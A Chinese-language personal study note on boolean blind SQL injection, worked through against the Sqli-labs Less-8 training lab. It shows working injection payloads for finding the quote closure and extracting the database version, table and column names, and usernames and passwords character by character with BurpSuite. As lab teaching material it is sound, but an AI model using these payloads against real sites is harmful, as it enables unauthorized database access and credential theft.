声明:
由于笔者能力有限,难免出现各种错误和漏洞。全文仅作为个人笔记,仅供参考。
笔记内容来源于各类网课。
环境:
以Sqli-labs中的less8为实验环境。
一、盲注介绍
一般分为布尔盲注和延时(时间)盲注。
布尔盲注利用的函数主要有ascii和substr。
延时盲注利用的函数有if和sleep。
布尔盲注适用于页面返回的状态只有两种。延时盲注适用于页面返回的状态没变化,我们需要通过请求返回的时间判断代码是否被执行。
1. ascii():用于将字符转为对应的ASCII码值。
2. substr():用于字符串切割,它的下标是从1开始。subst("123",2,1)返回字符"2"。
3. sleep():延时函数。sleep(2),执行后,系统等待2s。
4. if():if语句,用于判断,if(条件,条件真返回,条件假返回)。例如if(1,'2','3')返回字符‘2’。
二、实验(基于GET方式的字符串布尔盲注-单引号)
1. 使用GET方式传入参数
根据id值页面只有两种状态,返回空或者返回You are in....提示。
2. 测试语句能否报错
传入id=1“,没有报错,说明不是双引号闭合。
传入id=1',页面返回未空的状态,后台可能报错,但是不显示报错信息。
可以猜测后台是单引号闭合。至于有没有括号,我们继续测试。
3. 测试语句能否恶意执行(能不报错)
id=-1' or 1 %23
id为一个不存在的值(前面验证过了),依然可以登陆成功,说明我们的or 1成功执行了,也注释了后面的语句。所以肯定是单引号闭合,没有括号。
select columns... from talbe_name where id='$id'
由于没有报错信息,不存在回显点,所以应采用盲注,这里采用布尔盲注最合适。
4. 获取版本号、当前用户名、当前数据名
首先依次测试语句能正确执行。
id=-1' or (select 1) %23
当这个语句可以执行,我们就能通过将select 1的位置替换为布尔值即可。
我们使用substr(version(),1,1),截取版本号字符串第一个字符。
再使用ascii(substr(version(),1,1)),将第一个字符转为ascii码。再通过判断(大于,小于,等于等),获取第一个字符的范围。
?id=-1' or (select (select ascii(substr(version(),1,1))) > 0 ) %23
这条语句结果肯定为真,version的字符串是数字,数字的ascii码肯定大于0。
我们通过大于,小于,等于来判断第一个字符是什么。使用二分法最快。
?id=-1' or (select (select ascii(substr(version(),1,1))) >52 ) %23
?id=-1' or (select (select ascii(substr(version(),1,1))) >53 ) %23
?id=-1' or (select (select ascii(substr(version(),1,1))) =53 ) %23
手工测试过于麻烦,我们使用BurpSuite进行爆破即可。
由于版本字符串为数字和符号组成,我们选用相应的字典。
得到结果后,我们过滤,使用返回的字符串You are in...过滤成功的。
在按照Payload1排序,使用qq自带的截屏识别文字,将Payload2复制下来,转为ASCII码即可。
我们爆破用户名和数据库名略过。
5. 获取当前的表名,表中字段名
?id=-1' or
(select
(select ascii(substr(
(select group_concat(table_name) from information_schema.tables
where table_schema=database() ) ,1,1))) >0 ) %23
由于节省时间,字典我选择的只有字母。
?id=-1' or
(select
(select ascii(substr(
(select group_concat(column_name) from information_schema.columns
where table_schema=database() and table_name = 'users') ,1,1))) >0 ) %23
6. 获取当前的users表中的数据
最后爆破users表中的用户名和密码。
?id=-1' or (select (select
ascii(substr(
(select group_concat(concat_ws(':',username,password))
from users),1,1)))>8 ) %23
这里只显示了部分,其他的可以继续爆破得到。